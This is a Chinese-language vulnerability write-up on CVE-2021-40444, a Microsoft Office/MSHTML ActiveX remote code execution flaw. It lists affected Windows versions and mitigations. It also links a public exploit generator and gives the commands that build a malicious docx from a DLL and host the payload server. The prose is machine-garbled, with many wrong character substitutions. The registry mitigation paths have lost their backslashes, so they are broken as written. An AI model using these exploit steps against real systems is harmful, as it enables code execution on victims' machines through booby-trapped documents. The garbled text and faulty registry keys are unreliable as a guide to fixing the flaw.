破绽描绘

微软AcitveX控件是微软公司的COM架构下的产物，在Windows的Office套件、IE阅读器中有普遍的应用。应用ActiveX控件即可与MSHTML组件停止交互。攻击者可经过制造带有歹意 ActiveX 控件的Microsoft Office 文档并诱导用户翻开此文档来应用此破绽。胜利应用此破绽的远程攻击者可在目的系统上以该用户权限执行恣意代码。
 

破绽范围

Windows Server, version 2004 (Server Core installation)
Windows Server, version 20H2 (Server Core Installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
 

破绽复现

https://github.com/lockedbyte/CVE-2021-40444
歹意 docx 生成器应用 CVE-2021-40444（Microsoft Office Word 远程代码执行）

此脚本的创立基于对野外运用的示例的一些逆向工程：938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52（docx 文件）

你需求先装置lcab ( sudo apt-get install lcab)

检查REPRODUCE.md手动复制步骤

假如您生成的 cab 不起作用，请尝试将exploit.html URL 指向calc.cab
 

破绽应用

首先生成一个给定DLL的歹意docx文档，您能够运用从调用中test/calc.dll弹出a的那个calc.exesystem()

python3 exploit.py generate test/calc.dll http://<SRV IP>

生成歹意 docx（将位于out/）后，您能够设置效劳器：

sudo python3 exploit.py host 80

最后在 Windows 虚拟机中尝试 docx：

修复倡议

微软官方已发布补丁，官方下载地址：
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

暂时修补倡议:运用注册表文件禁用 ActiveX 控件：

在组战略中，计算机配置]→[管理模板]→[Windows组件]→[ Internet Explorer]→[Internet控制面板]→[平安页]，[在本地计算机区域]中，签署的ActiveX控件下载]和[未签名的ActiveX控件下载能够禁用。

假如注册表编辑器运用不当，可能会招致严重的问题，可能需求重新装置操作系统。倡议做好备份再执行以下操作：

1、翻开记事本复制以下内容，并将文件另存为.reg后缀格式的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternetSettingsZones]

"1001"=dword:00000003

"1004"=dword:00000003

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternetSettingsZones1]

"1001"=dword:00000003

"1004"=dword:00000003

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternetSettingsZones2]

"1001"=dword:00000003

"1004"=dword:00000003

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternetSettingsZones3]

"1001"=dword:00000003

"1004"=dword:00000003

2、双击保管的reg后缀文件以将其应用到您的战略配置单元。

3、重新启动系统以确保应用新配置。

吊销缓解措施：删除在采用此缓解措施时添加的注册表项。
 

感谢您的来访，获取更多精彩文章请收藏本站。